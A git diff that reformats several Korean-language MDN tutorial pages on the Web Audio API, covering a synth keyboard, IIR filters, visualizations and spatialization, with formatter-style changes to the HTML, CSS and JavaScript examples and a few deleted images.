--- a/files/ko/web/api/web_audio_api/simple_synth/index.md
+++ b/files/ko/web/api/web_audio_api/simple_synth/index.md
@@ -1,7 +1,8 @@
 ---
-title: '예제와 튜토리얼: 간단한 신시사이저 키보드'
+title: "예제와 튜토리얼: 간단한 신시사이저 키보드"
 slug: Web/API/Web_Audio_API/Simple_synth
 ---
+
 {{DefaultAPISidebar("Web Audio API")}}
 
 이 문서는 마우스를 사용해 플레이할 수 있는 비디오 키보드의 데모와 코드를 보여줍니다. 이 키보드는 표준 파형들과 사용자 정의 파형 중에서 선택할 수 있는 기능을 제공하고, 키보드 아래에 있는 볼륨 슬라이더를 사용하여 메인 gain을 제어할 수 있습니다. 이 예제는 다음의 Web API 인터페이스를 사용합니다: {{domxref("AudioContext")}}, {{domxref("OscillatorNode")}}, {{domxref("PeriodicWave")}}, 그리고 {{domxref("GainNode")}}.
@@ -38,13 +39,20 @@ slug: Web/API/Web_Audio_API/Simple_synth
 <div class="settingsBar">
   <div class="left">
     <span>Volume: </span>
-    <input type="range" min="0.0" max="1.0" step="0.01"
-        value="0.5" list="volumes" name="volume">
+    <input
+      type="range"
+      min="0.0"
+      max="1.0"
+      step="0.01"
+      value="0.5"
+      list="volumes"
+      name="volume" />
     <datalist id="volumes">
-      <option value="0.0" label="Mute">
-      <option value="1.0" label="100%">
+      <option value="0.0" label="Mute"></option>
+      <option value="1.0" label="100%"></option>
     </datalist>
   </div>
+</div>
 ```
 
 우리는 기본값을 0.5로 명시하고, ID가 맞는 옵션 목록을 찾기 위해 {{htmlattrxref("name")}} 특성을 사용하여 range에 연결된 {{HTMLElement("datalist")}} 요소를 제공합니다; 이 경우, 데이터셋은 `"volume"`이라는 이름입니다. 이는 우리로 하여금 브라우저가 옵션적으로 어떤 방식으로 디스플레이하기를 선택할지도 모르는 특별한 문자열과 일반적인 값의 집합을 제공하게 합니다; 우리는 값 0.0 ("무음")과 1.0 ("100%")에 대해 이름을 제공합니다.
@@ -85,7 +93,11 @@ slug: Web/API/Web_Audio_API/Simple_synth
 
 .key {
   cursor: pointer;
-  font: 16px "Open Sans", "Lucida Grande", "Arial", sans-serif;
+  font:
+    16px "Open Sans",
+    "Lucida Grande",
+    "Arial",
+    sans-serif;
   border: 1px solid black;
   border-radius: 5px;
   width: 20px;
@@ -130,7 +142,11 @@ slug: Web/API/Web_Audio_API/Simple_synth
 
 .settingsBar {
   padding-top: 8px;
-  font: 14px "Open Sans", "Lucida Grande", "Arial", sans-serif;
+  font:
+    14px "Open Sans",
+    "Lucida Grande",
+    "Arial",
+    sans-serif;
   position: relative;
   vertical-align: middle;
   width: 100%;
@@ -145,7 +161,8 @@ slug: Web/API/Web_Audio_API/Simple_synth
   vertical-align: middle;
 }
 
-.left span, .left input {
+.left span,
+.left input {
   vertical-align: middle;
 }
 
@@ -237,70 +254,70 @@ function createNoteTable() {
 ... 간결성을 위해 몇몇 옥타브는 생략되었습니다 ...
 
 ```js hidden
-  noteFreq[2]["C"] = 65.406391325149658;
-  noteFreq[2]["C#"] = 69.295657744218024;
-  noteFreq[2]["D"] = 73.416191979351890;
-  noteFreq[2]["D#"] = 77.781745930520227;
-  noteFreq[2]["E"] = 82.406889228217482;
-  noteFreq[2]["F"] = 87.307057858250971;
-  noteFreq[2]["F#"] = 92.498605677908599;
-  noteFreq[2]["G"] = 97.998858995437323;
-  noteFreq[2]["G#"] = 103.826174394986284;
-  noteFreq[2]["A"] = 110.000000000000000;
-  noteFreq[2]["A#"] = 116.540940379522479;
-  noteFreq[2]["B"] = 123.470825314031027;
-
-  noteFreq[3]["C"] = 130.812782650299317;
-  noteFreq[3]["C#"] = 138.591315488436048;
-  noteFreq[3]["D"] = 146.832383958703780;
-  noteFreq[3]["D#"] = 155.563491861040455;
-  noteFreq[3]["E"] = 164.813778456434964;
-  noteFreq[3]["F"] = 174.614115716501942;
-  noteFreq[3]["F#"] = 184.997211355817199;
-  noteFreq[3]["G"] = 195.997717990874647;
-  noteFreq[3]["G#"] = 207.652348789972569;
-  noteFreq[3]["A"] = 220.000000000000000;
-  noteFreq[3]["A#"] = 233.081880759044958;
-  noteFreq[3]["B"] = 246.941650628062055;
-
-  noteFreq[4]["C"] = 261.625565300598634;
-  noteFreq[4]["C#"] = 277.182630976872096;
-  noteFreq[4]["D"] = 293.664767917407560;
-  noteFreq[4]["D#"] = 311.126983722080910;
-  noteFreq[4]["E"] = 329.627556912869929;
-  noteFreq[4]["F"] = 349.228231433003884;
-  noteFreq[4]["F#"] = 369.994422711634398;
-  noteFreq[4]["G"] = 391.995435981749294;
-  noteFreq[4]["G#"] = 415.304697579945138;
-  noteFreq[4]["A"] = 440.000000000000000;
-  noteFreq[4]["A#"] = 466.163761518089916;
-  noteFreq[4]["B"] = 493.883301256124111;
-
-  noteFreq[5]["C"] = 523.251130601197269;
-  noteFreq[5]["C#"] = 554.365261953744192;
-  noteFreq[5]["D"] = 587.329535834815120;
-  noteFreq[5]["D#"] = 622.253967444161821;
-  noteFreq[5]["E"] = 659.255113825739859;
-  noteFreq[5]["F"] = 698.456462866007768;
-  noteFreq[5]["F#"] = 739.988845423268797;
-  noteFreq[5]["G"] = 783.990871963498588;
-  noteFreq[5]["G#"] = 830.609395159890277;
-  noteFreq[5]["A"] = 880.000000000000000;
-  noteFreq[5]["A#"] = 932.327523036179832;
-  noteFreq[5]["B"] = 987.766602512248223;
-
-  noteFreq[6]["C"] = 1046.502261202394538;
-  noteFreq[6]["C#"] = 1108.730523907488384;
-  noteFreq[6]["D"] = 1174.659071669630241;
-  noteFreq[6]["D#"] = 1244.507934888323642;
-  noteFreq[6]["E"] = 1318.510227651479718;
-  noteFreq[6]["F"] = 1396.912925732015537;
-  noteFreq[6]["F#"] = 1479.977690846537595;
-  noteFreq[6]["G"] = 1567.981743926997176;
-  noteFreq[6]["G#"] = 1661.218790319780554;
-  noteFreq[6]["A"] = 1760.000000000000000;
-  noteFreq[6]["A#"] = 1864.655046072359665;
-  noteFreq[6]["B"] = 1975.533205024496447;
+noteFreq[2]["C"] = 65.406391325149658;
+noteFreq[2]["C#"] = 69.295657744218024;
+noteFreq[2]["D"] = 73.41619197935189;
+noteFreq[2]["D#"] = 77.781745930520227;
+noteFreq[2]["E"] = 82.406889228217482;
+noteFreq[2]["F"] = 87.307057858250971;
+noteFreq[2]["F#"] = 92.498605677908599;
+noteFreq[2]["G"] = 97.998858995437323;
+noteFreq[2]["G#"] = 103.826174394986284;
+noteFreq[2]["A"] = 110.0;
+noteFreq[2]["A#"] = 116.540940379522479;
+noteFreq[2]["B"] = 123.470825314031027;
+
+noteFreq[3]["C"] = 130.812782650299317;
+noteFreq[3]["C#"] = 138.591315488436048;
+noteFreq[3]["D"] = 146.83238395870378;
+noteFreq[3]["D#"] = 155.563491861040455;
+noteFreq[3]["E"] = 164.813778456434964;
+noteFreq[3]["F"] = 174.614115716501942;
+noteFreq[3]["F#"] = 184.997211355817199;
+noteFreq[3]["G"] = 195.997717990874647;
+noteFreq[3]["G#"] = 207.652348789972569;
+noteFreq[3]["A"] = 220.0;
+noteFreq[3]["A#"] = 233.081880759044958;
+noteFreq[3]["B"] = 246.941650628062055;
+
+noteFreq[4]["C"] = 261.625565300598634;
+noteFreq[4]["C#"] = 277.182630976872096;
+noteFreq[4]["D"] = 293.66476791740756;
+noteFreq[4]["D#"] = 311.12698372208091;
+noteFreq[4]["E"] = 329.627556912869929;
+noteFreq[4]["F"] = 349.228231433003884;
+noteFreq[4]["F#"] = 369.994422711634398;
+noteFreq[4]["G"] = 391.995435981749294;
+noteFreq[4]["G#"] = 415.304697579945138;
+noteFreq[4]["A"] = 440.0;
+noteFreq[4]["A#"] = 466.163761518089916;
+noteFreq[4]["B"] = 493.883301256124111;
+
+noteFreq[5]["C"] = 523.251130601197269;
+noteFreq[5]["C#"] = 554.365261953744192;
+noteFreq[5]["D"] = 587.32953583481512;
+noteFreq[5]["D#"] = 622.253967444161821;
+noteFreq[5]["E"] = 659.255113825739859;
+noteFreq[5]["F"] = 698.456462866007768;
+noteFreq[5]["F#"] = 739.988845423268797;
+noteFreq[5]["G"] = 783.990871963498588;
+noteFreq[5]["G#"] = 830.609395159890277;
+noteFreq[5]["A"] = 880.0;
+noteFreq[5]["A#"] = 932.327523036179832;
+noteFreq[5]["B"] = 987.766602512248223;
+
+noteFreq[6]["C"] = 1046.502261202394538;
+noteFreq[6]["C#"] = 1108.730523907488384;
+noteFreq[6]["D"] = 1174.659071669630241;
+noteFreq[6]["D#"] = 1244.507934888323642;
+noteFreq[6]["E"] = 1318.510227651479718;
+noteFreq[6]["F"] = 1396.912925732015537;
+noteFreq[6]["F#"] = 1479.977690846537595;
+noteFreq[6]["G"] = 1567.981743926997176;
+noteFreq[6]["G#"] = 1661.218790319780554;
+noteFreq[6]["A"] = 1760.0;
+noteFreq[6]["A#"] = 1864.655046072359665;
+noteFreq[6]["B"] = 1975.533205024496447;
 ```
 
 ```js
@@ -400,12 +417,12 @@ function setup() {
   // our purposes we don't need them. Each octave is inserted
   // into a <div> of class "octave".
 
-  noteFreq.forEach(function(keys, idx) {
+  noteFreq.forEach(function (keys, idx) {
     let keyList = Object.entries(keys);
     let octaveElem = document.createElement("div");
     octaveElem.className = "octave";
 
-    keyList.forEach(function(key) {
+    keyList.forEach(function (key) {
       if (key[0].length == 1) {
         octaveElem.appendChild(createKey(key[0], idx, key[1]));
       }
@@ -414,14 +431,16 @@ function setup() {
     keyboard.appendChild(octaveElem);
   });
 
-  document.querySelector("div[data-note='B'][data-octave='5']").scrollIntoView(false);
+  document
+    .querySelector("div[data-note='B'][data-octave='5']")
+    .scrollIntoView(false);
 
   sineTerms = new Float32Array([0, 0, 1, 0, 1]);
   cosineTerms = new Float32Array(sineTerms.length);
   customWaveform = audioContext.createPeriodicWave(cosineTerms, sineTerms);
 
-  for (i=0; i<9; i++) {
-      oscList[i] = {};
+  for (i = 0; i < 9; i++) {
+    oscList[i] = {};
   }
 }
 
@@ -545,7 +564,7 @@ function noteReleased(event) {
 
 ```js
 function changeVolume(event) {
-  mainGainNode.gain.value = volumeControl.value
+  mainGainNode.gain.value = volumeControl.value;
 }
 ```
 
diff --git a/files/ko/web/api/web_audio_api/tools/index.md b/files/ko/web/api/web_audio_api/tools/index.md
index e1f528c8197fa7..b9dbc6a97fa8ca 100644
--- a/files/ko/web/api/web_audio_api/tools/index.md
+++ b/files/ko/web/api/web_audio_api/tools/index.md
@@ -2,6 +2,7 @@
 title: Web Audio 사용을 분석하기 위한 도구들
 slug: Web/API/Web_Audio_API/Tools
 ---
+
 {{APIRef("Web Audio API")}}
 
 Web Audio API 코드를 작성하는 중에, 여러분은 여러분이 만든 노드의 그래프를 분석하거나 그게 아니라면 여러분의 작업을 디버그할 도구가 필요하다고 생각했을 지도 모릅니다. 이 글은 여러분을 도울 이용 가능한 도구들에 대해 이야기합니다.
diff --git a/files/ko/web/api/web_audio_api/using_audioworklet/index.md b/files/ko/web/api/web_audio_api/using_audioworklet/index.md
index 1a12c134e5129a..ff91d73b2eea19 100644
--- a/files/ko/web/api/web_audio_api/using_audioworklet/index.md
+++ b/files/ko/web/api/web_audio_api/using_audioworklet/index.md
@@ -61,7 +61,7 @@ class MyAudioProcessor extends AudioWorkletProcessor {
 
     return true;
   }
-};
+}
 
 registerProcessor("my-audio-processor", MyAudioProcessor);
 ```
@@ -197,7 +197,7 @@ async function createMyAudioProcessor() {
       audioContext = new AudioContext();
       await audioContext.resume();
       await audioContext.audioWorklet.addModule("module-url/module.js");
-    } catch(e) {
+    } catch (e) {
       return null;
     }
   }
diff --git a/files/ko/web/api/web_audio_api/using_iir_filters/iir-filter-demo.png b/files/ko/web/api/web_audio_api/using_iir_filters/iir-filter-demo.png
deleted file mode 100644
index 0e701a2b6acd90..00000000000000
Binary files a/files/ko/web/api/web_audio_api/using_iir_filters/iir-filter-demo.png and /dev/null differ
diff --git a/files/ko/web/api/web_audio_api/using_iir_filters/index.md b/files/ko/web/api/web_audio_api/using_iir_filters/index.md
index f02187d2f6fef7..859fd97c007ba0 100644
--- a/files/ko/web/api/web_audio_api/using_iir_filters/index.md
+++ b/files/ko/web/api/web_audio_api/using_iir_filters/index.md
@@ -2,6 +2,7 @@
 title: IIR 필터 사용하기
 slug: Web/API/Web_Audio_API/Using_IIR_filters
 ---
+
 {{DefaultAPISidebar("Web Audio API")}}
 
 [Web Audio API](/ko/docs/Web/API/Web_Audio_API)의 **`IIRFilterNode`** 인터페이스는 일반적인 [무한 임펄스 응답](https://en.wikipedia.org/wiki/infinite%20impulse%20response) (IIR) 필터를 구현하는 {{domxref("AudioNode")}} 프로세서입니다; 이 유형의 필터는 음색 제어 장치와 그래픽 이퀄라이저를 구현하는 데 사용될 수 있으며, 필터 응답 파라미터들은 필요하면 조율될 수 있도록 명시될 수 있습니다. 이 글은 어떻게 이것을 구현하는지, 그리고 간단한 예제로 어떻게 이것을 사용하는지를 살펴봅니다.
@@ -80,7 +81,13 @@ function playSourceNode(audioContext, audioBuffer) {
 이 함수는 재생 버튼이 눌러졌을 때 호출됩니다. 재생 버튼 HTML은 다음같이 생겼습니다:
 
 ```html
-<button class="button-play" role="switch" data-playing="false" aria-pressed="false">Play</button>
+<button
+  class="button-play"
+  role="switch"
+  data-playing="false"
+  aria-pressed="false">
+  Play
+</button>
 ```
 
 그리고 `click` 이벤트 리스너는 다음과 같이 시작합니다:
@@ -96,7 +103,13 @@ playButton.addEventListener('click', function() {
 IIR 필터를 켜고 끄는 토글 버튼은 비슷한 방식으로 설정됩니다. 우선, HTML은:
 
 ```html
-<button class="button-filter" role="switch" data-filteron="false" aria-pressed="false" aria-describedby="label" disabled></button>
+<button
+  class="button-filter"
+  role="switch"
+  data-filteron="false"
+  aria-pressed="false"
+  aria-describedby="label"
+  disabled></button>
 ```
 
 필터 버튼의 `click` 핸들러는 그리고 나서 `IIRFilter`를 그래프에 연결하는데, 이는 소스와 목적지 사이입니다:
@@ -129,8 +142,8 @@ let phaseResponseOutput = new Float32Array(totalArrayItems);
 첫번째 배열을 우리가 원하는 반환될 데이터인 주파수 값으로 채웁시다.
 
 ```js
-myFrequencyArray = myFrequencyArray.map(function(item, index) {
-    return Math.pow(1.4, index);
+myFrequencyArray = myFrequencyArray.map(function (item, index) {
+  return Math.pow(1.4, index);
 });
 ```
 
@@ -139,63 +152,68 @@ myFrequencyArray = myFrequencyArray.map(function(item, index) {
 이제 응답 데이터를 얻읍시다:
 
 ```js
-iirFilter.getFrequencyResponse(myFrequencyArray, magResponseOutput, phaseResponseOutput);
+iirFilter.getFrequencyResponse(
+  myFrequencyArray,
+  magResponseOutput,
+  phaseResponseOutput,
+);
 ```
 
 우리는 이 데이터를 필터 주파수 플롯을 그리기 위해 사용할 수 있습니다. 우리는 2d 캔버스 컨텍스트에서 그렇게 할 것입니다.
 
 ```js
 // 캔버스 요소를 만들고 dom에 추가합니다
-const canvasContainer = document.querySelector('.filter-graph');
-const canvasEl = document.createElement('canvas');
+const canvasContainer = document.querySelector(".filter-graph");
+const canvasEl = document.createElement("canvas");
 canvasContainer.appendChild(canvasEl);
 
 // 2d 컨텍스트를 설정하고 크기를 설정합니다
-const canvasCtx = canvasEl.getContext('2d');
+const canvasCtx = canvasEl.getContext("2d");
 const width = canvasContainer.offsetWidth;
 const height = canvasContainer.offsetHeight;
 canvasEl.width = width;
 canvasEl.height = height;
 
 // 배경을 채울 색상을 설정합니다
-canvasCtx.fillStyle = 'white';
+canvasCtx.fillStyle = "white";
 canvasCtx.fillRect(0, 0, width, height);
 
 // 크기에 맞춰 여백을 설정합니다
-const spacing = width/16;
-const fontSize = Math.floor(spacing/1.5);
+const spacing = width / 16;
+const fontSize = Math.floor(spacing / 1.5);
 
 // 축을 그립니다
 canvasCtx.lineWidth = 2;
-canvasCtx.strokeStyle = 'grey';
+canvasCtx.strokeStyle = "grey";
 
 canvasCtx.beginPath();
 canvasCtx.moveTo(spacing, spacing);
-canvasCtx.lineTo(spacing, height-spacing);
-canvasCtx.lineTo(width-spacing, height-spacing);
+canvasCtx.lineTo(spacing, height - spacing);
+canvasCtx.lineTo(width - spacing, height - spacing);
 canvasCtx.stroke();
 
 // 축은 gain(y축)과 주파수(x축)입니다 -> 라벨을 만듭니다
-canvasCtx.font = fontSize+'px sans-serif';
-canvasCtx.fillStyle = 'grey';
-canvasCtx.fillText('1', spacing-fontSize, spacing+fontSize);
-canvasCtx.fillText('g', spacing-fontSize, (height-spacing+fontSize)/2);
-canvasCtx.fillText('0', spacing-fontSize, height-spacing+fontSize);
-canvasCtx.fillText('Hz', width/2, height-spacing+fontSize);
-canvasCtx.fillText('20k', width-spacing, height-spacing+fontSize);
+canvasCtx.font = fontSize + "px sans-serif";
+canvasCtx.fillStyle = "grey";
+canvasCtx.fillText("1", spacing - fontSize, spacing + fontSize);
+canvasCtx.fillText("g", spacing - fontSize, (height - spacing + fontSize) / 2);
+canvasCtx.fillText("0", spacing - fontSize, height - spacing + fontSize);
+canvasCtx.fillText("Hz", width / 2, height - spacing + fontSize);
+canvasCtx.fillText("20k", width - spacing, height - spacing + fontSize);
 
 // 규모 응답 데이터를 순회하고 필터를 그립니다
 
 canvasCtx.beginPath();
 
-for(let i = 0; i < magResponseOutput.length; i++) {
-
-    if (i === 0) {
-        canvasCtx.moveTo(spacing, height-(magResponseOutput[i]*100)-spacing );
-    } else {
-        canvasCtx.lineTo((width/totalArrayItems)*i, height-(magResponseOutput[i]*100)-spacing );
-    }
-
+for (let i = 0; i < magResponseOutput.length; i++) {
+  if (i === 0) {
+    canvasCtx.moveTo(spacing, height - magResponseOutput[i] * 100 - spacing);
+  } else {
+    canvasCtx.lineTo(
+      (width / totalArrayItems) * i,
+      height - magResponseOutput[i] * 100 - spacing,
+    );
+  }
 }
 
 canvasCtx.stroke();
diff --git a/files/ko/web/api/web_audio_api/using_web_audio_api/index.md b/files/ko/web/api/web_audio_api/using_web_audio_api/index.md
index 48faac4c082090..8abb860b256d6e 100644
--- a/files/ko/web/api/web_audio_api/using_web_audio_api/index.md
+++ b/files/ko/web/api/web_audio_api/using_web_audio_api/index.md
@@ -2,6 +2,7 @@
 title: Web Audio API 사용하기
 slug: Web/API/Web_Audio_API/Using_Web_Audio_API
 ---
+
 {{DefaultAPISidebar("Web Audio API")}}
 
 [Web Audio API](/ko/docs/Web/API/Web_Audio_API) 시작하기를 한번 봐 봅시다. 우리는 몇 가지 개념들을 간략하게 살펴보고, 그 다음에 오디오 트랙의 로드, 재생, 정지하고 볼륨 및 스테레오 패닝을 변경할 수 있는 간단한 카세트 플레이어 예제를 공부할 것입니다.
@@ -52,7 +53,7 @@ const audioContext = new AudioContext();
 이제, 생성된 오디오 컨텍스트는 재생할 사운드가 필요합니다. API를 사용해 사운드를 재생하는 몇 가지 방법이 있습니다. 간단한 방법으로 시작해 봅시다 — 우리는 카세트 플레이어를 가지고 있으므로, 노래의 전체 트랙을 재생하기를 원할 것입니다. 또한, 접근성을 위해서, 트랙을 DOM에 노출시키는 것은 좋습니다. 우리는 {{htmlelement("audio")}} 요소를 사용하여 페이지에 노래를 노출시킬 것입니다.
 
 ```html
-<audio src="myCoolTrack.mp3" ></audio>
+<audio src="myCoolTrack.mp3"></audio>
 ```
 
 > **참고:** 만약 로딩한 사운드 파일이 다른 도메인에 있다면 `crossorigin` 특성을 사용할 필요가 있습니다; 더 많은 정보를 보시려면 [Cross Origin Resource Sharing (CORS)](/ko/docs/Web/HTTP/CORS)를 참고해 보세요.
@@ -61,7 +62,7 @@ Web Audio API로 얻을 수 있는 모든 것을 사용하려면 이 요소에
 
 ```js
 // 오디오 요소를 얻습니다
-const audioElement = document.querySelector('audio');
+const audioElement = document.querySelector("audio");
 
 // 오디오 요소를 오디오 컨텍스트에 전달합니다
 const track = audioContext.createMediaElementSource(audioElement);
@@ -85,7 +86,7 @@ JavaScript 코드에서 프로그래밍적으로 사운드를 제어하는 것
 
 ```html
 <button data-playing="false" role="switch" aria-checked="false">
-    <span>Play/Pause</span>
+  <span>Play/Pause</span>
 </button>
 ```
 
@@ -105,33 +106,39 @@ track.connect(audioContext.destination);
 
 ```js
 // 재생 버튼을 선택합니다
-const playButton = document.querySelector('button');
-
-playButton.addEventListener('click', function() {
+const playButton = document.querySelector("button");
 
+playButton.addEventListener(
+  "click",
+  function () {
     // 컨텍스트가 연기된(suspended) 상태에 있는지 검사합니다 (자동 재생 정책)
-    if (audioContext.state === 'suspended') {
-        audioContext.resume();
+    if (audioContext.state === "suspended") {
+      audioContext.resume();
     }
 
     // 상태에 따라 트랙을 재생하거나 정지합니다
-    if (this.dataset.playing === 'false') {
-        audioElement.play();
-        this.dataset.playing = 'true';
-    } else if (this.dataset.playing === 'true') {
-        audioElement.pause();
-        this.dataset.playing = 'false';
+    if (this.dataset.playing === "false") {
+      audioElement.play();
+      this.dataset.playing = "true";
+    } else if (this.dataset.playing === "true") {
+      audioElement.pause();
+      this.dataset.playing = "false";
     }
-
-}, false);
+  },
+  false,
+);
 ```
 
 우리는 또한 트랙이 재생을 마쳤을 때 무엇을 할 지를 고려할 필요가 있습니다. `HTMLMediaElement`는 재생이 완료되었을 때 `ended` 이벤트를 한 번 발생시키므로, 우리는 그에 맞춰 코드를 실행시킬 수 있습니다.
 
 ```js
-audioElement.addEventListener('ended', () => {
-    playButton.dataset.playing = 'false';
-}, false);
+audioElement.addEventListener(
+  "ended",
+  () => {
+    playButton.dataset.playing = "false";
+  },
+  false,
+);
 ```
 
 ## 사운드 수정하기
@@ -159,7 +166,7 @@ gain의 기본값은 1입니다; 이것은 현재 볼륨을 같게 유지할 것
 사용자에게 이것을 하기 위한 제어 방법을 제공합시다 — 우리는 [범위 입력](/ko/docs/Web/HTML/Element/input/range)을 사용할 것입니다:
 
 ```html
-<input type="range" id="volume" min="0" max="2" value="1" step="0.01">
+<input type="range" id="volume" min="0" max="2" value="1" step="0.01" />
 ```
 
 > **참고:**
@@ -169,11 +176,15 @@ gain의 기본값은 1입니다; 이것은 현재 볼륨을 같게 유지할 것
 그러므로 이 입력값을 취하고 입력 노드가 유저에 의해 바뀐 값을 가지고 있을 때 gain 값을 업데이트해 봅시다:
 
 ```js
-const volumeControl = document.querySelector('#volume');
+const volumeControl = document.querySelector("#volume");
 
-volumeControl.addEventListener('input', function() {
+volumeControl.addEventListener(
+  "input",
+  function () {
     gainNode.gain.value = this.value;
-}, false);
+  },
+  false,
+);
 ```
 
 > **참고:**
@@ -214,17 +225,21 @@ const panner = new StereoPannerNode(audioContext, pannerOptions);
 여기서 우리의 값은 범위가 -1 (극좌)에서 1 (극우)까지입니다. 이 파라미터를 달라지게 하기 위해 다시 범위 유형 입력을 사용합시다:
 
 ```html
-<input type="range" id="panner" min="-1" max="1" value="0" step="0.01">
+<input type="range" id="panner" min="-1" max="1" value="0" step="0.01" />
 ```
 
 패너의 값을 조정하기 위해 전에 했던 것과 같은 방법으로 우리는 이 입력으로부터의 값을 사용합니다:
 
 ```js
-const pannerControl = document.querySelector('#panner');
+const pannerControl = document.querySelector("#panner");
 
-pannerControl.addEventListener('input', function() {
+pannerControl.addEventListener(
+  "input",
+  function () {
     panner.pan.value = this.value;
-}, false);
+  },
+  false,
+);
 ```
 
 모든 노드를 같이 연결하기 위해, 우리의 오디오 그래프를 다시 조정해 봅시다:
diff --git a/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/bar-graph.png b/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/bar-graph.png
deleted file mode 100644
index a31829c5d1df9c..00000000000000
Binary files a/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/bar-graph.png and /dev/null differ
diff --git a/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/index.md b/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/index.md
index 9b4bdb332c12f1..618ac1fd04e667 100644
--- a/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/index.md
+++ b/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/index.md
@@ -2,6 +2,7 @@
 title: Web Audio API로 시각화하기
 slug: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
 ---
+
 Web Audio API의 가장 흥미로운 기능 중 하나는 주파수, 파형, 그리고 다른 데이터들을 오디오 소스로부터 추출할 수 있는 능력인데, 이는 그리고 나서 시각화하는 데 사용될 수 있습니다. 이 글은 어떻게 시각화를 하는지 설명하고, 기초적인 사용 방법을 두 개 제공합니다.
 
 > **참고:** 모든 코드의 작동 예제를 [Voice-change-O-matic](https://mdn.github.io/voice-change-o-matic/) 데모에서 찾을 수 있습니다.
@@ -89,7 +90,7 @@ analyser.getByteTimeDomainData(dataArray);
 다음으로, 시작하기 위해 캔버스를 단색으로 채웁니다.
 
 ```js
-canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+canvasCtx.fillStyle = "rgb(200, 200, 200)";
 canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
 ```
 
@@ -97,33 +98,32 @@ canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
 
 ```js
 canvasCtx.lineWidth = 2;
-canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+canvasCtx.strokeStyle = "rgb(0, 0, 0)";
 canvasCtx.beginPath();
 ```
 
 캔버스 너비를 (앞서 정의된 바와 같이 FrequencyBinCount와 동일한) 배열 길이로 나눔으로써 그려질 선의 각 부분의 너비를 결정하고, 선의 각 부분을 그리기 위해 이동할 위치를 정의하기 위해 x 변수를 정의합니다.
 
 ```js
-var sliceWidth = WIDTH * 1.0 / bufferLength;
+var sliceWidth = (WIDTH * 1.0) / bufferLength;
 var x = 0;
 ```
 
 이제 배열로부터의 데이터 포인트 값에 기반한 특정한 높이에서의 버퍼의 각 부분에 대해 파동의 작은 부분의 위치를 정의하고, 다음 파동 부분이 그려질 지점까지 선을 이동하는 반복문을 실행합니다.
 
 ```js
-      for(var i = 0; i < bufferLength; i++) {
-
-        var v = dataArray[i] / 128.0;
-        var y = v * HEIGHT/2;
+for (var i = 0; i < bufferLength; i++) {
+  var v = dataArray[i] / 128.0;
+  var y = (v * HEIGHT) / 2;
 
-        if(i === 0) {
-          canvasCtx.moveTo(x, y);
-        } else {
-          canvasCtx.lineTo(x, y);
-        }
+  if (i === 0) {
+    canvasCtx.moveTo(x, y);
+  } else {
+    canvasCtx.lineTo(x, y);
+  }
 
-        x += sliceWidth;
-      }
+  x += sliceWidth;
+}
 ```
 
 마지막으로, 우리는 캔버스의 우측 중앙에서 선을 끝내고, 우리가 정의한 획을 그립니다:
@@ -137,7 +137,7 @@ var x = 0;
 코드의 이 섹션의 마지막에서, 우리는 전체 과정을 시작하기 위해 `draw()` 함수를 호출합니다:
 
 ```js
-    draw();
+draw();
 ```
 
 이것은 초당 수 차례 갱신되는 멋진 파형 디스플레이를 보여줍니다:
diff --git a/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/wave.png b/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/wave.png
deleted file mode 100644
index 9254829d238c12..00000000000000
Binary files a/files/ko/web/api/web_audio_api/visualizations_with_web_audio_api/wave.png and /dev/null differ
diff --git a/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/index.md b/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/index.md
index c46589053b2489..d78335634bc934 100644
--- a/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/index.md
+++ b/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/index.md
@@ -2,6 +2,7 @@
 title: Web audio 공간화 기초
 slug: Web/API/Web_Audio_API/Web_audio_spatialization_basics
 ---
+
 {{DefaultAPISidebar("Web Audio API")}}
 
 Web Audio API의 사운드 프로세싱 (그리고 다른 것들) 의 광범위한 다양성이 마치 충분하지 않다는 것처럼, Web Audio API는 또한 리스너가 음원 주위에서 움직일 때 소리의 차이를 모방할 수 있게 하는 기능을 포함하고 있습니다. 그 예시로는 3D 게임에서 음원 주위에서 움직일 때의 패닝 기능을 들 수 있습니다. 이 기능에 대한 공식적인 용어는 **spatialization**(공간화)이고, 이 글은 어떻게 그런 시스템을 구현하는지에 대한 기초를 다룰 것입니다.
@@ -35,13 +36,13 @@ const AudioContext = window.AudioContext || window.webkitAudioContext;
 const audioCtx = new AudioContext();
 const listener = audioCtx.listener;
 
-const posX = window.innerWidth/2;
-const posY = window.innerHeight/2;
+const posX = window.innerWidth / 2;
+const posY = window.innerHeight / 2;
 const posZ = 300;
 
 listener.positionX.value = posX;
 listener.positionY.value = posY;
-listener.positionZ.value = posZ-5;
+listener.positionZ.value = posZ - 5;
 ```
 
 `positionX`를 통해 리스너를 좌우로 움직이거나, `positionY`를 통해 위아래로 움직이거나, `positionZ`를 통해 방의 안팎으로 움직일 수 있습니다. 위 코드에서 리스너의 위치는 뷰포트의 중앙 그리고 라디오의 살짝 앞에 있는 것으로 설정되었습니다. 또한, 리스너가 향하고 있는 방향도 설정할 수 있습니다. 이 속성들의 기본 값이면 충분할 것입니다.
@@ -70,7 +71,7 @@ forward 속성은 리스너 앞 방향의 3D 좌표 위치를 나타냅니다 (
 꽤 똑똑한 것이군요. `HRTF` 모델을 사용합시다!
 
 ```js
-const pannerModel = 'HRTF';
+const pannerModel = "HRTF";
 ```
 
